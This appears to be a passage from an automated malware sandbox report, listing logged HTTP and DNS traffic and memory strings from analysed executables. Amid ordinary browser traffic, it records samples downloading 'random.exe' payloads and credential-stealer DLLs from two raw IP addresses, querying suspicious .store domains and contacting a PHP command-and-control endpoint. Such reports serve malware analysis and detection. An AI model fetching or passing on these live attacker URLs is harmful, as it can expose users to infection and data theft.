Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1t99ka.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=145043783CBF6C823B4D56563D316DA5&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=4b2a71716ce240dea8b1c4043eee0e28 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=145043783CBF6C823B4D56563D316DA5; _EDGE_S=F=1&SID=35B7F40E96FD64EF3C64E12097F96516; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyO7.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msBaE.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b?rn=1730836367711&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=145043783CBF6C823B4D56563D316DA5&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1730836367711&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=c1d554df17a24e7199da56745b4d2081&activityId=c1d554df17a24e7199da56745b4d2081&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=145043783CBF6C823B4D56563D316DA5; _EDGE_S=F=1&SID=35B7F40E96FD64EF3C64E12097F96516; _EDGE_V=1; _C_ETH=1; msnup=
Source: global traffic	HTTP traffic detected: GET /b2?rn=1730836367711&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=145043783CBF6C823B4D56563D316DA5&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=19Df52c802c1f4ba43bca181730836370; XID=19Df52c802c1f4ba43bca181730836370
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1730836367711&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=c1d554df17a24e7199da56745b4d2081&activityId=c1d554df17a24e7199da56745b4d2081&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=EE12051E5150441BBAF96A52F808CCFA&MUID=145043783CBF6C823B4D56563D316DA5 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=145043783CBF6C823B4D56563D316DA5; _EDGE_S=F=1&SID=35B7F40E96FD64EF3C64E12097F96516; _EDGE_V=1; msnup=; SM=T
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1731441162&P2=404&P3=2&P4=es51PsC6oYT4s5vzZeQx8t27oIQtM5fGa5f6IiYDV7mbwjS8SdZu5CXOob%2bOe%2fT8L5bmvjtXy2qsdPVtmn0C9A%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: OXJZZwBWLudTjSIRVUxNHqSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Tue, 05 Nov 2024 18:57:36 GMTIf-None-Match: "672a6aa0-20ec00"
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: tse1.mm.bing.net
Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store
Source: global traffic	DNS traffic detected: DNS query: fadehairucw.store
Source: global traffic	DNS traffic detected: DNS query: thumbystriw.store
Source: global traffic	DNS traffic detected: DNS query: necklacedmny.store
Source: global traffic	DNS traffic detected: DNS query: founpiuer.store
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: founpiuer.store

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Tue, 05 Nov 2024 19:52:13 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qFmnuHmU0wC%2FZeG4rmRGrSKjzocR%2Fnwv8x6maMfiNOsQKkZfebbxG4etjJsfB45bUazQm9xsiVZ%2FeKqhtxXBD4egVmUrvUcoTE0yurNaN%2Fxf8FRQTYAM%2FTjw1dR59Bw9WEI%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8ddf620c3d375209-DEN
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Tue, 05 Nov 2024 19:52:29 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Qn%2FFQEpW2z2kZvCiYQMiw0aYYT1ZMh5VBXBEPQODWmZG9BYz%2BIpPq8tBjdOcHV5Mh7%2FqSYz9QNi5dPDEtgFonsAfpd11MnQBRhjlfyCir7awPti504CHJrMDF5FvTZLbcWQ%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8ddf626e3aad79a4-DEN
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Tue, 05 Nov 2024 19:52:56 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Pe7mizsWag61quHDwYoHwguljEws7RYrVa9I47YBmunFewR4zjgeG3s%2BWf2L6ERY2S452lp%2Bo88UbLl5FiIrPueIRGdemOS%2BIDo%2FT9hnZ%2BrnZgZzDwKEvNguj1EietH6F90%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8ddf63175c052cc8-DFW

Source: 06339d0580.exe, 00000010.00000003.3151512068.0000000000C34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: skotes.exe, 0000000F.00000002.3372136479.000000000108F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: skotes.exe, 0000000F.00000002.3372136479.000000000108F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe61395d
Source: skotes.exe, 0000000F.00000002.3372136479.000000000108F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exeN
Source: skotes.exe, 0000000F.00000002.3372136479.000000000108F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exerlencoded
Source: 2bbe886987.exe, 00000011.00000002.3406168899.00000000238F4000.00000004.00000020.00020000.00000000.sdmp, 2bbe886987.exe, 00000011.00000002.3406168899.0000000023915000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: 2bbe886987.exe, 00000011.00000002.3406168899.0000000023915000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe~
Source: 06339d0580.exe, 00000010.00000003.3158561010.0000000000C1F000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000003.3152254811.0000000000C15000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000002.3365958651.0000000000C21000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000002.3362375793.0000000000AC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: 06339d0580.exe, 00000015.00000002.3362375793.0000000000AC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeEi
Source: skotes.exe, 0000000F.00000002.3372136479.00000000010AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exe
Source: skotes.exe, 0000000F.00000002.3372136479.00000000010AB000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000003.3158561010.0000000000C1F000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000002.3360853850.00000000008FA000.00000004.00000010.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000002.3365003139.0000000000BD5000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000003.3152254811.0000000000C15000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000002.3362798636.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000003.3158360427.0000000000BD5000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000002.3365958651.0000000000C21000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000002.3362375793.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000002.3362375793.0000000000B0F000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000002.3362375793.0000000000AC2000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000002.3362375793.0000000000A85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: 06339d0580.exe, 00000010.00000003.3158561010.0000000000C1F000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000003.3152254811.0000000000C15000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000002.3365958651.0000000000C21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeO
Source: 06339d0580.exe, 00000015.00000002.3359793347.000000000078A000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exex
Source: 06339d0580.exe, 00000015.00000002.3362375793.0000000000A85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/steam/random.exeoft
Source: 2bbe886987.exe, 00000011.00000002.3372681465.000000000149E000.00000004.00000020.00020000.00000000.sdmp, 2bbe886987.exe, 00000011.00000002.3359810844.0000000000836000.00000040.00000001.01000000.0000000C.sdmp, 2bbe886987.exe, 00000011.00000002.3359810844.00000000009BE000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://185.215.113.206
Source: 2bbe886987.exe, 00000011.00000002.3372681465.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: 2bbe886987.exe, 00000011.00000002.3406168899.0000000023927000.00000004.00000020.00020000.00000000.sdmp, 2bbe886987.exe, 00000011.00000002.3372681465.00000000014E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: 2bbe886987.exe, 00000011.00000002.3372681465.0000000001518000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php7
Source: 2bbe886987.exe, 00000011.00000002.3372681465.00000000014E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpEK
